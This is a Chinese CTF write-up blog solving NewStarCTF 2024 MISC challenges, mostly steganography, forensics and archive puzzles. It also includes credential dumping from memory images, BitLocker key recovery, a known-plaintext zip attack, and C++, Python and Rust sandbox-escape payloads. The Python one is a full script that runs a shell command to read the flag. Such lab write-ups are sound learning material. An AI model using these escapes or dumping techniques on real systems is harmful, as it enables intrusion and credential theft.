newstarctf


MISC

week1 decompress

题目描述:

1
正在失传的技艺之压缩包解压

下载附件

查看passwd_regex_hint.txt

根据正则^([a-z]){3}\d[a-z]$,得到这是一个数字+字母的五位密码组合,直接爆破密码

解压压缩包

最后flag为flag{U_R_th3_ma5ter_0f_dec0mpress}

week1 pleasingMusic

题目描述:

1
一首歌可以好听到正反都好听(以 flag{} 形式提交,所有英文字母均为小写)

下载附件

查看音频文件

听到这边很熟悉,摩斯密码
手动提取
. ..- — .-.- -.–.. . … .-. — – -.–.. ..– .

摩斯解码
提示正反音乐都好听,将摩斯编码逆序再解码

最后flag为flag{ez_morse_code}

week1 WhereIsFlag

题目描述:

1
才……才不会告诉你我把 flag 藏在哪里了!

开启环境,找到flag位置

最后flag为flag{77c1140f-79e3-4eca-af3f-0c006c49d4f8}

week1 Labyrinth

题目描述:

1
2
3
4
5
6
7
8
9
听好了:9 月 23 日,NewStar 2024

就此陷落。每抹陷落的色彩都将迎来一场漩涡,为题目带来全新的蜕变。

你所熟知的一切都将改变,你所熟悉的 flag 都将加诸隐写的历练。

至此,一锤定音。

尘埃,已然落定。

下载附件

提示LSB加密,直接拿stegsolve秒

扫描二维码

最后flag为flag{e33bb7a1-ac94-4d15-8ff7-fd8c88547b43}

week1 兑换码

题目描述:

1
领取 NewStar 前瞻兑换码,明天中午 12 点就失效喽!就在图片下面。什么,你没有看到?原来是 png 的下面啊,那没事了。

下载附件

宽高一把梭

最后flag为flag{La_vaguelette}

week2 wireshark_checkin

题目描述:

1
un 搭建了一个简单的 http 服务器,但是不小心把重要文件删除了,只剩下访问这些文件时的流量,你能帮他找到吗

下载附件

tcp追踪流找到flag

最后flag为flag{ez_traffic_analyze_isn’t_it}

week2 wireshark_secret

题目描述:

1
un 偷看涩图,被抓到流量了

下载附件

导出http对象

保存查看文件

最后flag为flag{you_are_gooddddd}

week2 热心助人的小明同学

题目描述:

1
小明的邻居小红忘记了电脑的登录密码,好像设置的还挺复杂的,现在小红手里只有一个内存镜像(为什么她会有这个?),小明为了帮助邻居就找到了精通电脑的你……

下载附件

查看提示

 Volatility 2查看内存镜像版本

 lsadump

 最后flag为flag{ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh}

week2 用溯流仪见证伏特台风

题目描述:

1
2
3
4
5
6
7
8
9
漂亮国也干了。照着 2024 年 7 月 8 日央视新闻的方法来看看隐匿在图片下的东西吧.

新闻视频: https://b23.tv/BV1Ny411i7eM

新闻中提到的威胁盟报告里,隐藏在图片下,Domain 下方那个框里所有字符的 16 位小写 md5,包裹 flag{} 即为 flag.

提示:这个视频就是 WP;运气不好的话,你也许需要使用溯流仪(网站时光机)。

PS: 如果你眼力好,肉眼能从视频读出来,也是你的水平。祝你玩得开心。

 访问链接

 根据视频,我们获得以下信息:

  • 所需报告:The Rise of Dark Power…
  • 对应版本:最初 4 月 15 日版本
  • 现状:所需信息已经被篡改

搜索报告名称

打开pdf链接

可以看到我们需要的 PDF 文件,但是视频中又提到报告内容已经被篡改

使用网站时光机—— wayback machine.

输入官网链接,启动溯流仪,正好有 4 月 15 日的版本

下载文件,移开封底图片,拿到 Domain 框里的东西,然后 MD5


最后flag为flag{6c3ea51b6f9d4f5e}

week2 你也玩原神吗

题目描述:

1
如果你玩原神,那么你看得懂这些提瓦特文字吗?请把得到的内容用 flag{} 包裹

下载附件

gif分离帧


原神提瓦特文字对照表

左下角文字解密后是 doyouknowfence
提示是「栅栏密码」,右下角文字就是密文
用栅栏密码解密工具解出来,得到 flag

week2 字里行间的秘密

题目描述:

1
我横竖睡不着,仔细看了半夜,才从字缝里看出字来

下载附件

零宽解密

解压docx文件

全选修改字体颜色

最后flag为flag{you_h4ve_4nyth1n9}

week2 Herta’s Study

题目描述:

1
黑塔女士在进行一项新的研究,她截获了银狼作为新手黑客时的渗透流量,不过这小家伙喜欢整点新花样。「在战场上,如果我牺牲了,我不希望我的代码被敌人轻易使用」

下载附件

tcp追踪流

可以搜索一下 create_funtion() 函数,解除混淆后得到加密代码

1
2
3
4
5
6
7
$ns = base64_encode($ns);
for ($i = 0; $i < strlen($ns); $i += 1){
if ($i % 2 == 1) {
$ns[$i] = str_rot13($ns[$i]);
}
}
return $ns;

就是 Base64 后把奇数位 ROT13

解码反过来就行(第38条,f.txt 里的是真 flag,另一个是假 flag)

1
2
3
4
5
6
7
8
9
10
<?php
$ns = 'ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==';
for ($i = 0; $i < strlen($ns); $i += 1){
if ($i % 2 == 1) {
$ns[$i] = str_rot13($ns[$i]);
}
}
echo base64_decode($ns);
// flag{sH3_i4_S0_6eAut1fuL.}
?>

php运行得到

最后flag为flag{sH3_i4_S0_6eAut1fuL.}

week3 BGM坏了吗?

题目描述:

1
刚想听一篇推文,但是 bgm 吵死了,我忍了又忍,摈除杂音仔细听,up 难道在拨号吗?(以 flag{} 形式提交)

下载附件

用 Audacity 打开音频很容易发现结尾处右声道有信息,而左声道是噪音

根据题目描述是拨号音,但是直接放解不出来,需要删掉噪音

选择 分离立体音到单声道 » 关闭左声道 » 导出


按键音(即DTMF)解密

最后flag为flag{2024093020241103}

week3 ez_jail

题目描述:

1
no {} no cpp?

本题的原意是只考查 {} 在 C++ 里的(宏)替代运算符这个知识
只要关键词用得对,网上一搜就能搜到,但是被出题人执行坏了,测题时出现了一堆非预期。考虑了一下各个知识点的难度,感觉非预期的难度和预期解相差不大,就索性变成了一道半开放性的题目

我们观察代码的 check 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
def cpp_code_checker(code):
if "#include" in code:
return False, "Code is not allowed to include libraries"
if "#define" in code:
return False, "Code is not allowed to use macros"
if "{" in code or "}" in code:
return (
False,
"Code is not allowed to use `{` or `}`,but it needs to be a single function",
)
if len(code) > 100:
return False, "Code is too long"
return True, "Code is valid"

这段代码看似过滤了 #include #define 等,但不知道同学们有没有意识到 # 后加空格就能绕过这里,也就是说可以通过宏定义来做到编译前预处理
找到 C++ 的替代运算符的相关资料,然后使用 <% %> 替换{}

1
2
3
void user_code() <%
printf("Hello, World!");
%>

base编码

输入payload得到flag

week3 AmazingGame

题目描述:

1
出题人们都好狠啊,题做累了不如来玩玩游戏吧,还有就是,安卓软件私有数据会放在哪?(游戏至少通过一个关卡才会有存档)

下载附件

使用模拟器打开

打开游戏画面,是个赛车游戏,类似qq飞车

通关很难,尝试使用APK反编译软件

发现base编码,解码得到flag

week3 OSINT-MASTER

题目描述:

1
2
3
我重生了,这一世我是 osint 带师,我一定要找到之前坐过的那架航班!

特殊评测说明:flag 由 flag{} 包裹,可以包含非 ASCII 字符

下载附件

给了图片,先看图片的 EXIF 信息,拍摄时间是 2024-8-18 14:30,照片中可以在机翼上看到一个标号 B-2419

直接在 flightaware 中搜索这个标号,应该是飞机的注册号

可以搜到这是一架东航的飞机

在下面可以找到历史航班

可以看到,在 2024 年 8 月 18 日这四架航班中,只有红框中这架符合 14:30 在飞行中,点进去看一下详细信息

找到航班号 MU5156

下面根据照片拍摄时间和航行轨迹来找照片拍摄时飞机经过的地级市,我这里使用航班管家,有了航班号直接搜

14:30 在 14:13 和 14:51 中间偏左的位置!

放大来看,此时飞机大致经过邹城市

邹城市属于济宁市,济宁市是地级市
最后flag为flag{MU5156_济宁市}

week4 Alt

题目描述:

1
2
3
你真的没在打数字?

Tip: flag 包含非 ASCII 字符,且语义较为通顺
1
tshark -r keyboard.pcapng -T fields -e usbhid.data > usbdata.txt

然后得到的数据里有一些空行,可以用文本编辑器批量替换掉。我这里截最前面的一段作为示例进行分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0400000000000000
0400590000000000
0400000000000000
0400620000000000
0400000000000000
04005a0000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400620000000000
0400000000000000
0400600000000000
0400000000000000
0000000000000000
0400000000000000
0400610000000000
0400000000000000
04005f0000000000
0400000000000000
0000000000000000

根据中文互联网上能容易找到的、不用充会员的键盘流量分析相关资料可知,第一字节代表控制键,第二字节保留为 0x00,第三到八字节是我们敲击的键。

有些同学反映,网上的脚本里找不到 0x59 0x62 等等键码对应的按键,原因上面讲过了。其实多读几篇国内的相关文章就会发现它们经常引用一篇名为 Universal Serial Bus (USB) 的文章,把这个文件下载下来,第 55 页就有对应的对照表。

很多同学分析到这里,都会忽略第一字节的 0x04,根据题目名和网上的资料可以知道是按着 Alt 键。那么整个击键流程就比较清晰了:保持 Alt 键的按下状态,按下几个数字键,然后松开 Alt。

直接搜索「Alt 加数字键」,就能知道这是在按Unicode码值输入字符,写个脚本稍微自动化一下或者直接一个个手动看过去,很容易分析出来上面截取分析的这段流量就是在输入 fla 这三个字符,以此类推,就能得到整个 flag.


还有一些同学对流量里的 backspace 退格键有所疑惑,认为是删除了前一个数字或者认为是删除了整个字符。很遗憾两者都不是。

注意题目描述中指明了,flag 含有非 ASCII 字符且语义较通顺。如果退格键是删除了 Alt 加数字键打出来的整个字符的话,得到的 flag 就不含有非 ASCII 字符。 如果退格键是删除了上一个输入的数字的话,得到的 flag 的非 ASCII 部分没有任何语义。反而是忽略了退格键,能得到正确的结果,比如说第一段非 ASCII 字符是键盘流量

因为出题人在出题时是用的 Windows 11 自带记的事本,如果要让 Alt 加数字的结果是中文字符的话,经测试需要按下退格键或者是 Enter 键,也说明 Alt 加数字键输入非 ASCII 字符这个特性在不同软件里不一定能完美复现。除了手动复现按下 Alt 键加数字键这个流程以外,也可以直接使用 Python 的 chr 函数进行计算,就能获得十进制码值对应的字符。

week4 扫码领取 flag

题目描述:

1
Tip: 什么?这可不是图寻,这是货真价实的 hint

下载附件

解压得到很多压缩包文件,使用winhex查看,发现是8950开头,都将文件修改为后缀名.png

使用b神工具爆破crc宽高

查看爆破结果

ps拼接二维码

保存后用Aztec扫描得到flag

week4 擅长音游的小明同学

题目描述:

1
2
3
4
5
6
7
8
9
小明是资深的音游玩家,有一天他游玩某知名街机音游后顺利使 rating 上 w5

当他将成绩图上传到电脑上时,他的桌面【直接显现】了神秘的东西

然而没等他反应过来,他的电脑就消失不见,只剩下一个磁盘镜像(?)

这时小明脑海中有一个声音告诉他,如果他找不出来神秘的东西就会抽走他的音游底力

小明顿时慌了,想希望你帮帮他【利用镜像启动系统】,找到令人头疼的秘密

下载附件

使用 FTK imager + 虚拟机进行仿真找出 flag.

首先我们打开 FTK imager 加载拿到的镜像,我们看到所有分区都加载完毕,发现磁盘名称有提示,说明系统是 Windows7 x64.

取证一般都是考虑看桌面有没有什么东西,路径在 C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\ThemesC:\Windows\Web\Wallpaper\Windows 可以看到十分抽象的壁纸,根本没有能明显看见的东西,瞅一眼桌面文件夹,只有一大坨文件,也没有什么直观能看见的,内容倒是有:

要开始了哟~.txt内容

1
2
3
4
5
今天舞萌彩框了好开心啊o(* ̄▽ ̄*)ブ
我要把这一刻用照片保存下来
不过在拍摄rating变化的瞬间总感觉有什么东西藏进照片里了
打开也没发现什么异常,但是体积好像变大了一点
是错觉吗?

真相.txt内容

1
2
真相会不经意间流入日常的点点滴滴……
真相在哪里?

找到一张图片

使用 010 Editor 进行查看的话,可以发现除了正常的照片内容,还有意义不明的文字和一个压缩包(实际上使用 binwalk 梭一下也很正常)

文字内容:

1
?????_DIMENSION_1200x800

压缩包可以使用 binwalk 提取并解压:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
听好了听好了听好了听好了听好了听好了听好了:

1919年8月10日,世界就此陷落,
陷落的世界都将迎来一场漩涡,
为这个世界带来有关弗拉格尚未知晓的真相。

但发掘真相的道路被加诸混沌的历练
世界的宽高未被正确丈量
当真相被混沌打乱时
真相将不复存在

也许,在世界的重置和轮回中能找到发现真相的方法……

至此,尘埃落定
至此,一锤定音

#音游# #NewStarcaea# #Misc#

进行仿真

步骤如下:

1.直接将镜像映射成物理磁盘,方便虚拟机直接使用启动:

2.一定要选择挂载方式位 Writable 不然会因为无法写入而报错,点击 Mount 挂载,下面出现挂载结果表示成功:

3.挂载成功后我们打开虚拟机,这里使用 Vmware,由于使用物理硬盘需要管理员权限,所以我们需要使用管理员启动 Vmware,右击快捷方式,打开文件位置,再次右击选择兼容性,勾选以管理员权限启动:

启动之后新建虚拟机就可以了。

选择 Windows7 x64 配置,一路全选推荐,其中需要注意的如下:




开启虚拟机

当你进入系统后就不得不想起前面的提示:

1
2
3
4
5
6
但发掘真相的道路被加诸混沌的历练
世界的宽高未被正确丈量
当真相被混沌打乱时
真相将不复存在

1200x800

Flag 其实是拿桌面图标堆的,要是不是 1200×800 的分辨率启动就会被重新排列,一旦被重新排列,图标就再也回不去了

需要切换到 Guest 调整窗口到相应分辨率再切换到 Admin 账号,就看到了:

最终flag为flag{wowgoodfzforensics}

week4 擅长加密的小明同学

题目描述:

1
2
3
小明在学习中对各类文件加密的方式起了浓厚的兴趣,并把自己珍贵资料和 Flag 进行了套娃式加密。然而,他却在某天的凌晨三点选择了重装系统,本来他就记不住自己的密码,还丢失了备份密钥……

据受害者回忆,【他曾经使用画图软件把密码写了下来】,尽管备份已经丢失,如果能成功看到程序运行的样子,说不定就找回密码了,但是硬盘的加密怎么办呢,哎呀~要是有软件能直接破解就好了 www

下载附件

双击 vhd 发现有 BitLocker,BitLocker 怎么解?理论上没有密码和恢复密钥还真解不开,也没有软件能直接破解,但是 dump 内存镜像的机器是成功解密 BitLocker 的,内存中会残留着 BitLocker 的密钥,而借助内存镜像来解密 BitLocker 的软件确实是有的,他是 Elcomsoft Forensic Disk Decryptor,基本上搜到的博客都用它,使用以上软件,按图示步骤解密:

选择第一项「解密或挂载硬盘」:

由于题目给了 vhd 文件,所以选使用镜像文件的第二项:

数据来源选择被加密的镜像,而内存转储文件就选题目给的 raw 文件:



7z 在密码复杂的情况下基本不可能被解出密码,根据提示,我们得知小明曾经使用画图软件把密码写了下来,我们可以借助内存镜像看到程序运行的样子找回密码。

在这里我们借助 Volatility 和 GIMP 的力量解决问题:

首先按照上一道取证,分析镜像后查看进程:

1
vol.py -f chal.raw --profile=Win7SP1x64 pslist

发现 mspaint.exe(画图进程),我们提取出来,使用 memdump:

1
vol.py -f chal.raw --profile=Win7SP1x64 memdump -p 3744 -D ./

提取出的程序对应的 dmp 文件是含有程序运行时的显示内容的,我们只需要寻找运行时图像在 dmp 文件中的位置,然后想办法让他显示出来,这里我们就可以借助 GIMP 通过调整偏移,高,宽的方式达到上面的目的。

在此之前,记得改后缀为 .data,拉入 GIMP 打开,可以看到:

调节位移、宽度、高度来显现程序运行时显示的内容

压缩包密码:rxnifbeiyomezpplugho

解压得到 flag

week5 PlzLoveMe

题目描述:

1
公元 4202 年,一位劳累的工程师正在自己的实验室研究一种古老的设备,当他把存放在时间胶囊里的设备链接上老式物理计算机串口,当设备上古老怀旧的 LED 散发出蓝色微光,他感觉到身后有何种实体靠近,转头的瞬间晕了过去。他醒来了,听见了设备上逐渐变小的歌声,还有被点亮的 LCD 用血红的奇怪符号一行一行书写着某种难以识别的语言,他觉得自己好像失去了什么。歌声暂停,他立刻将实验室传感设备记录下的信息取出分析,只得到采样率 16k 的声音数据。是谁想传达什么吗?你能否帮他解开谜团。(flag 为有意义的全为字母的字符串,请包上 flag{} 提交)

音频采样数据一般就是 PCM,根据所给采样率,我们可以直接找线上网站播放

直接找个音乐软件,听歌识曲可以知道是 world.execute(me);(这是歌曲名)

播放到 03:01 的歌词如下

对照 LCD 图片

仔细查看可以发现 LCD 上显示的是歌词(LCD 图片的第一行内容为 Question me,后面也有明显的 LO-O-OVE

其实 LCD 上的符号是特殊字体,感兴趣的同学可以看看 LVDC-Secret-Passage 字体。

对照歌词可以得到符号的对应关系

歌词倒数第四排是 flag:,后三排仔细对照,可以知道是:

  • fhwdLd
  • mnwdOnV
  • mnwdOnV

由题目可知 flag 是有意义的全英文字符串,我们还剩一个 AXF 文件没有用到

这是包含 ARM 符号信息的二进制文件,可以用 IDA 打开

题目里提到设备连上了电脑串口(其实一般是 USB 来串口通信,这里为了降低难度直接说明是串口了)

使用 file 命令:file SD_MP3_RC.axf,输出:

1
SD_MP3_RC.axf: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, with debug_info, not stripped

IDA32 函数列表搜索 UART

看到一个 RxCpltCallback,搜一下是串口回调,用于接收数据后的处理,按 F5 查看伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __fastcall HAL_UART_RxCpltCallback(UART_HandleTypeDef *huart)
{
int v1; // r2
unsigned int v2; // r0
unsigned int v3; // r0

if ( huart->Instance == (USART_TypeDef *)1073821696 )
{
v1 = UART1_temp[0];
v2 = UART1_Rx_cnt;
UART1_Rx_Buf[UART1_Rx_cnt] = UART1_temp[0] ^ 1;
v3 = v2 + 1;
UART1_Rx_cnt = v3;
if ( v1 == 10 )
{
*((_BYTE *)&WavFile.lockid + v3 + 2) = 0;
Show_String(0, 16 * offsety, UART1_Rx_Buf, 0x10u, 0xF800u);
UART1_Rx_cnt = 0;
++offsety;
}
HAL_UART_Receive_IT(&huart1, UART1_temp, 1u);
}
}

只有个异或 0x1CyberChef 解密后包上 flag{} 上交

week5 zipmaster

题目描述:

1
我又重生了!这一世我是压缩包带师,发誓要解开所有压缩包!

下载附件

发现有四个长度仅为 3 字节大小一样的文件,使用 CRC 爆破来得到其中的内容

CRC 值在压缩包中都可以看到,直接上脚本进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import binascii
import string

def crack_crc():
print('-------------Start Crack CRC-------------')
crc_list = [0x35f321cd, 0xa0bb977c, 0x4eb5f650, 0x3c90238] # 文件的 CRC32 值列表,注意顺序
comment = ''
chars = string.printable
for crc_value in crc_list:
for char1 in chars:
for char2 in chars:
for char3 in chars:
res_char = char1 + char2 + char3 # 获取遍历的任意 3 Byte 字符
char_crc = binascii.crc32(res_char.encode()) # 获取遍历字符的 CRC32 值
calc_crc = char_crc & 0xffffffff # 将遍历的字符的 CRC32 值与 0xffffffff 进行与运算
if calc_crc == crc_value: # 将获取字符的 CRC32 值与每个文件的 CRC32 值进行匹配
print('[+] {}: {}'.format(hex(crc_value),res_char))
comment += res_char
print('-----------CRC Crack Completed-----------')
print('Result: {}'.format(comment))

if __name__ == '__main__':
crack_crc()

得到结果

1
2
3
4
5
6
7
-------------Start Crack CRC-------------
[+] 0x35f321cd: thi
[+] 0xa0bb977c: s_i
[+] 0x4eb5f650: s_k
[+] 0x3c90238: ey!
-----------CRC Crack Completed-----------
Result: this_is_key!

使用 this_is_key! 作为密码来解压 3077.zip,得到 114514.zip,发现无密码,可以直接解压

得到 0721.ziphint.txt

1
2
3
hint.txt

看起来好像和某个文件是一样的欸

使用 bkcrack 来进行明文攻击。这里要注意 -c 参数后面写的是破解文件中的明文文件的绝对路径,从压缩包一层开始,我们可以看到在压缩包中还有一层名为 0721 的文件夹,所以这里路径要写 0721/hint.txt

爆破出密钥之后我们直接构造一个弱密码加密的压缩包,密码是 123456,其中的内容和原来的 0721.zip 完全一样

解压 0721.zip 之后得到一个 flag.zip,这个压缩包是个压缩包炸弹,具体原理可以自行搜索,这里我们直接使用 010 Editor 打开看一下它的文件结构,发现很多 Base64 字符串

提取出来解密,得到一个新的压缩包

同样将 16 进制内容放到 010 Editor 中另存为一个新的压缩包,在末尾找到 hint

这里提到看不到密码,后面给的 f4tj4oGMRuI= 其实是密码的 Base64 加密后的字符串,但是解密之后发现密码是不可见字符(密码就是它),无法直接使用它来解压压缩包,写脚本来进行解压

1
2
3
4
5
6
7
8
9
10
import base64
import pyzipper

target_zip = '1.zip'
outfile = './solved'

pwd = base64.b64decode(b'f4tj4oGMRuI=')
with pyzipper.AESZipFile(target_zip, 'r') as f:
f.pwd = pwd
f.extractall(outfile)

解压后得到一个 Z1 文件,使用记事本打开得到 flag

最后flag为flag{ecebbd61-2bb9-4eda-b4ca-f24b895be2e3}

week5 pyjail

题目附件:

1
2
3
咦?居然有一个神秘的 Python 程序跳出来,声称是无敌的「小小魔法牢笼」!它还傲娇地说,谁都别想逃出去!你作为超级聪明的魔法少女,怎么可能被困住嘛!不过,牢笼里面有好多限制,很多魔法(比如那些调用系统的咒语)都被封印了呢。

现在,考验你真正魔法实力的时候到了!快点动动你的小脑袋,在这个受限的环境里用智慧突破重重封印,找到被藏起来的 flag!你一定可以的,勇敢向前冲吧!

match case 是 Python 3.10 才有的语法,可以用来获取一个对象的属性

1
2
3
4
5
6
7
8
9
10
11
class Dog:
def __init__(self, name):
self.name = name

def describe_pet(pet):
match pet:
case Dog(name=name1):
print(name1) # 这个位置会输出 Rover,原因是 pet 对象的属性 name 被传给了 name1

pet = Dog("Rover")
describe_pet(pet)

str() 是一个空字符串对象,下面这部分等价于 bfc = ‘’.join([chr(37),chr(99),]),也就是 bfc=%c

1
2
3
match str():
case str(join=join):
bfc = join(list((chr(37),chr(99),)))

后面拿到了 %c,就可以使用 % 构造字符串

完整的 EXP 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import socket,time
code = \
'''
bfc = None
buil = None
impo = None
os = None
system = None
cmd = None
match str():
case str(join=join):
bfc = join(list((chr(37),chr(99),)))
buil = bfc*12
buil = buil%(95,95,98,117,105,108,116,105,110,115,95,95)
impo = bfc*10
impo = impo%(95,95,105,109,112,111,114,116,95,95)
system = bfc*6
system = system%(115,121,115,116,101,109)
os = bfc*2
os = os%(111,115)
cmd = bfc*7
cmd = cmd%(99,97,116,32,47,102,42)

match vars():
case dict(get=get):
bui = vars(get(buil))
match bui:
case dict(get=get2):
os = vars(get2(impo)(os))
match os:
case dict(get=get3):
get3(system)(cmd)

EOF
'''

def send_messages(host, port):
# 创建一个 TCP/IP 套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
# 连接到服务器
print(f"正在连接到 {host}:{port}")
sock.connect((host, port))

# 要发送的消息
messages = [
"start",
code,
]

# 逐条发送消息
for message in messages:
sock.sendall(message.encode()) # 将字符串编码为字节数据
time.sleep(2)
response = sock.recv(1024) # 接收来自服务器的回应
print(f"收到回应: {response.decode()}")

except Exception as e:
print(f"发生错误: {e}")

finally:
sock.close()

if __name__ == "__main__":
target_host = "127.0.0.1" # 替换为你想要发送消息的主机IP
target_port = 32808 # 替换为目标端口

send_messages(target_host, target_port)

week5 I wanna be a Rust Master

题目描述:

1
你是 Rust 糕手吗?!让我看看你的代码!

其实禁了不少东西,看附件给的 server 源码,可以看到检测大致分成两个部分,一个明文检测,一个是基于 syn、quote 库检测 TokenStream(指令流)。

先说检测 TokenStream 这块,比如下面这个,就是在检测是否有字面量(字面量是用于表达源代码中一个固定值,比如 123, "abc", true, 114.514)。

1
2
3
4
5
6
7
8
9
10
11
#[derive(Default)]
pub struct LitChecker {
has_lit: bool,
}

impl<'a> Visit<'a> for LitChecker {
fn visit_lit(&mut self, i: &'a syn::Lit) {
self.has_lit = true;
syn::visit::visit_lit(self, i);
}
}

然而由于 Rust 的宏在解析的时候,都是有一套自定义的解析逻辑,而 syn 库本身并不能直接获取宏定义的解析逻辑,所以,如果有尝试去看过 syn 的源码,就会发现在处理 macro 的时候,都是直接返回 TokenStream,也就是没有被解析的原始指令流(就是因为前面说过 syn 本身不知道一个宏是怎么展开的)。

换言之,如果使用者没有人为去解析这些指令流,那么 syn 本身就不会检测宏里面有啥指令,这样就可以把一些恶意的代码塞进宏里面,比如:

1
vec![println!("Hello")]

这个毫无疑问是有一个字面量 "Hello" 的,但是由于在宏里面,所以 syn 无法检测。

对于这道题而言,使用 syn 进行检测的其他逻辑,比如我有检测 stdunsafe 等等,其实都可以利用这一点来绕过。

但是很可惜的,明文匹配的检测,也就是在源码中类似这段的代码:

1
2
3
4
if input.contains("std") {
println!("[-] std detected");
return Ok(());
}

所以 stdunsafe 这些还是很难能够使用。

那么如果不用标准库的东西,还能怎么读取文件呢?

其实 Rust 本身自带了很多有趣的宏,对于这道题,可以使用 include_str! 或者 include_bytes!.

include_str! 为例,它会在编译期,读取指定路径的文件(如果路径不存在,无法通过编译),然后会把读出来的内容作为字符串进行编译。

比如有一个 a 文件,里面内容是 Hello,那么 println!("{}", include_str!("a")) 就完全等价于 println!("{}", "Hello").

所以我们就可以通过 include_str!("/flag") 来直接读取 flag 文件(在编译期)!

但是,令人难过的是,题目还检测了代码中是否包含 "flag" 这个字符串,可能大家的第一反应是套一层变量去绕过,类似这样:

1
2
let a = "/fl".to_string() + "ag";
let f = include_str!(a);

但是这是不行的!

如果运行,应该会看到 error: argument must be a string literal 这样的报错,因为 include_str! 这个宏解析的时候需要接受字符串字面量!

那么这该怎么办呢?别慌,还有办法!这就不得不提 concat! 这个宏了(大家可以多翻翻标准库里自带的那些宏,有很多很有意思的宏),concat! 可以编译期拼接字符串字面量(是的!concat! 也要求提供的值是字面量),所以就可以使用这个来绕过本题的检测读取 flag 了。

1
let f = include_str!(concat!("/fl", "ag"));

接下来就是另一个问题了:怎么样输出 flag 呢?

要知道,在 Rust 中,输出都是依赖于 println! dbg! panic! 之类的宏,而这些宏本质是对 std::io 中的对象进行的封装,所以想要输出,要么能够使用这些封装好的宏(但是都被我 ban 啦,哇哈哈哈哈),要么能够访问到 std::io 这个模块中的东西(也被我 ban 了,嘻嘻)。

那么还有什么办法呢?

其实有个很常见的思路:使用报错来带出输出!

比如随便构造一个整数溢出?比如数组越界?比如对 None 调用 .unwrap()?比如对 Ok 对象调用 .unwrap_err()?等等,非常多的报错,但是我们要让报错信息能够被控制!毕竟我们需要输出我们想要输出的内容。这里我们就很容易想到使用 Option 或者 Result,下面我就随便给几个例子,大家可以参考一下:

1
2
3
4
5
6
7
8
let a: Option<i32> = None;
a.expect("a is None");

let a: Result<(), String> = Err("a is Err".into());
a.unwrap();

let a: Result<(), ()> = Err(());
a.expect("expect a is Ok");

综合上述的思路,就可以整理出下面这段 payload 啦!

1
2
3
4
fn main() {
Option::<()>::None.expect(include_str!(concat!("/fl","ag")));
}
//


文章作者: yiqing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yiqing !
  目录